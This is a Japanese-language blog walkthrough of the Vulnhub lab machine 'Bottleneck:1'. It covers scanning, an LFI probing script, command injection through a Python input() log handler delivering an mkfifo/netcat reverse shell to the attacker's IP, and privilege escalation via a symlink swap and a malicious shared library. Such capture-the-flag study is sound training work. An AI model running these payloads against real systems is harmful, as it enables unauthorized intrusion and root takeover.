banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

ボトルネック:1-Vulnhub ウォークスルー

靶機アドレス
難易度:中程度

ツールと脆弱性情報#

  • netdiscover
  • nmap
  • dirb
  • dirsearch
  • gobuster
  • コマンド実行

** 一部のツールの使い方と詳細については、このシリーズの最初の記事を参照してください:bossplayersCTF:1-Vulnhub ウォークスルー **

0x00 情報収集#

ターゲット機のスキャン情報#

netdiscover-rパラメータで192.168.1.0/16をスキャンした結果は以下の通りです:

image

nmapでホストとポート情報をスキャン:

nmap -sS -sV -n -T4 -p- 192.168.1.9

image

特に何もない

パスのスキャン#

おなじみの三種の神器:dirbdirsearchgobuster

dirbのスキャン結果は悲惨で、index.phpしかスキャンできませんでしたので、公開しません

dirsearchのスキャン

python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.9

image

gobusterのスキャン

gobuster dir -u http://192.168.1.9 -s 200,301,302 -t 50 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

image

0x01 LFI 脆弱性の初利用失敗#

脆弱性利用位置の推測#

ホームページのソースコードには特に目立ったものはありませんでしたので、明らかに問題のあるimage_gallery.phpにアクセスします

image

中の画像テンプレートにはtfの 2 つのパラメータがあります

何度もリフレッシュしてアクセスすると、前のtの値はしばらくすると変わり、後ろのbase64でエンコードされた値はずっと変わりませんでした

そこで、まずは後ろの値をbase64デコードしてみます:

image

画像名が得られ、imgディレクトリにアクセスすると以下のようになります:

image

後ろのfの値は画像を参照していることが確定しましたので、前の値はおそらくタイムスタンプです

これにより、タイムスタンプを偽造し、LFIローカルファイルインクルード脆弱性を利用して他のファイルの値を読み取ることができると推測しました

LFI 脆弱性利用スクリプトの作成#

そこで、いくつかのアクセスしたいpayloadを構築してみました:

bottleneck_dontbe.png
/etc/passwd/
../../../etc/passwd/
../../../../etc/passwd/
../../../../../etc/passwd/

これをpayloads.txtとして保存し、同じディレクトリに以下のpythonスクリプトを作成します:

import base64
import re

import requests

url = "http://192.168.1.9/image_gallery.php"
r = requests.get(url)
response = r.text
t = re.findall(r't=(.*?)&f', response)[0]
# タイムスタンプを取得
for line in open("payloads.txt").read().splitlines():
    word = line.strip("\r").strip("\n")
    payload = base64.b64encode(word.encode("utf-8"))
    try:
        params = {'t': t, 'f': payload}
        r1 = requests.get(url, params=params)
        print(r1.request.url)
        print('---------------response begin-----------------')
        response = r1.text
        if not response:
            print("no response")
        else:
            print(response)
        print('---------------response end-----------------')
    except Exception as e:
        print(e)

結果として、毎回返ってくるのは同じコメントでした:

image

これにより、LFIローカルファイルインクルード脆弱性が遮断されていると推測し、別のアプローチを試みます

0x02 input 脆弱性でシェルを取得#

image_gallery.phpのソースコードに次のような行を見つけました:

include_once 'image_gallery_load.php';

そこで、payloads.txtを以下のように置き換えます:

../image_gallery_load.php

得られたimage_gallery_load.phpのソースコードは以下の通りです:

if(!isset($_GET['t']) || !isset($_GET['f'])){
    exit();
}

$imagefile = base64_decode($_GET['f']);
$timestamp = time();
$isblocked = FALSE;
$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');
$messages = array("\nLet me throw away your nice request into the bin.\n".
    "The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n".
    "Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n");

if(abs($_GET['t'] - $timestamp) > 10){
    exit();
}
foreach($blacklist as $elem){
    if(strstr($imagefile, $elem) !== FALSE)
        $isblocked = TRUE;
}
// intrusionをsocに報告し、さらなる調査のために情報をローカルに保存
if($isblocked){
    $logfile = 'intrusion_'.$timestamp;
    $fp = fopen('/var/log/soc/'.$logfile, 'w');
    fwrite($fp, "'".$imagefile."'");
    fclose($fp);
    exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
    print_troll();
    exit();
}
chdir('img');
$filecontent = file_get_contents($imagefile);
if($filecontent === FALSE){
    print_troll();
}
else{
    echo $filecontent;
}
chdir('../');

?>

コードから、ブラックリストがあることがわかります。私たちがテストした/etcもその中に含まれています

また、python execute文もあることがわかります

重要なコードを詳しく分析します:

if($isblocked){
    $logfile = 'intrusion_'.$timestamp;
    $fp = fopen('/var/log/soc/'.$logfile, 'w');
    fwrite($fp, "'".$imagefile."'");
    fclose($fp);
    exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
    print_troll();
    exit();
}

ブラックリストのキーワードがある場合、python文がログに出力されます

ここで、input関数を利用して、payloadを含む文をpythonで実行させることができると考えました

input () 関数が脆弱性を生む理由:この関数は stdin からの入力を python コードとして実行します(計算式のように、python コードとして扱い、計算結果を返します)。python3 では、input () 関数がデフォルトで文字列として入力されるように変更されています。

ここでは、python文をetc' andand 'の間に置くだけで済みます

** 私の文章は一日で書き終わるわけではないので、kali と靶機の IP は変わっています **

payloadを以下のように構築します:

etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc kaliのip 4444 >/tmp/f") and'

これをpayloads.txtに書き込み、kalinc -lvp 4444を先に起動します

スクリプトを実行し、シェルを取得して現在の権限を確認します:

image

kaliでリスニングする際はmsfも使用できます

payloadcmd/unix/reverse_netcat_gapingに設定します

リスニングを迅速に開始:

handler -H kaliのip -P 4444 -p cmd/unix/reverse_netcat_gaping

image

参考記事:

0x03 シェルの権限昇格#

シンボリックリンクを変更して権限昇格#

現在取得したのはwww-dataの権限だけです

sudo権限のあるコマンドを探します:sudo -l

image

bytevsbyteアカウントを使用して、そのフォルダに入り、ファイルを確認します:

image

clearlogsがシンボリックリンクで、実体ファイルは/opt/clearlogs.shです

ファイルの所有者とclear_logsファイルを実行する権限を持つのはbytevsbyteです

したがって、シンボリックリンクを私たちのスクリプトに変更することを考えます。スクリプトの内容は

/bin/bash

これにより、bytevsbyteユーザーに切り替えることができます。操作は以下の通りです:

cd /tmp
echo "/bin/bash" > soapffz
chmod 777 soapffz
ln -snf /tmp/soapffz /var/www/html/web_utils/clear_logs
sudo -u bytevsbyte /var/www/html/web_utils/clear_logs

機能は明らかで、clear_logsのシンボリックリンクを私たちが書いたスクリプトに強制的に変更します

そして、bytevsbyteユーザーでそれを実行することで、bytevsbyteユーザーに切り替わります

lnの 3 つのパラメータの役割はそれぞれ以下の通りです;

  • -s シンボリックリンク
  • -n シンボリックリンクを一般のディレクトリとして扱う
  • -f 強制的に実行

image

これで、bytevsbyteユーザーのルートディレクトリに行き、彼のflagを取得できます:

image

root 権限の昇格#

SUID 権限の実行可能ファイルを探すためにfindコマンドを使用します

これはこのシリーズの最初の記事でも紹介されています。記事の冒頭にリンクがあります

find / -perm -u=s -type f 2>/dev/null

ファイルに権限があります。www-data と bytevsbyte のユーザーグループは異なります。bytevsbyte は tester ユーザーグループに属し、tester ユーザーのみが /usr/test ディレクトリの内容を読み取ることができます。

image

疑わしいファイル/usr/test/testlibを発見し、パスに入ってみます

image

#include <dlfcn.h>
#include <unistd.h>

int main(int argc, char *argv[]){
    void *handle;
    int (*function)();
    if(argc < 2)
        return 1;
    handle = dlopen(argv[1], RTLD_LAZY);
    function = dlsym(handle, "test_this");
    function();
    return 0;
}

この実行可能ファイルは共有ライブラリをロードし、拡張子が(.so)のライブラリ内でtest_thisという名前の関数を呼び出します。共有ライブラリの名前はこの実行可能ファイルに渡される最初のパラメータですので、test_thisという名前の関数を持つシェルを作成し、それを共有ライブラリとしてコンパイルする必要があります。その後、testlibを実行し、それを引数として渡します

ここではjivoi大佬のshellを使用します

ただし、関数名をtest_thisに変更し、もう 1 つのヘッダーファイル#include <stdlib.h>を追加することに注意してください

コードは以下の通りです:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int test_this(void)
{
setuid(0); setgid(0); system("/bin/bash");
}

後のcファイルとsoファイルの名前は特に関係ありません

靶機のshellではgccを使用してコンパイルできないため、別のウィンドウでコンパイルしておきます

その後、靶機のshellでスクリプトをダウンロードし、実行権限を与えます。操作は以下の通りです

kaliのターミナルで

vim soapffz.c
gcc -shared -fPIC soapffz.c -o soapffz.so
service apache2 start
mv soapffz.so /var/www/html/

image

靶機のshellで:

cd /home/bytevsbyte
id
wget http://192.168.1.6/soapffz.so
chmod 777 soapffz.so
/usr/test/testlib /home/bytevsbyte/soapffz.so

このステップは常に失敗しており、理由がわかりません(.c と.so ファイルの名前は無関係です):

image

どなたか教えていただける方はいらっしゃいますか。。

参考記事:

本文完。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。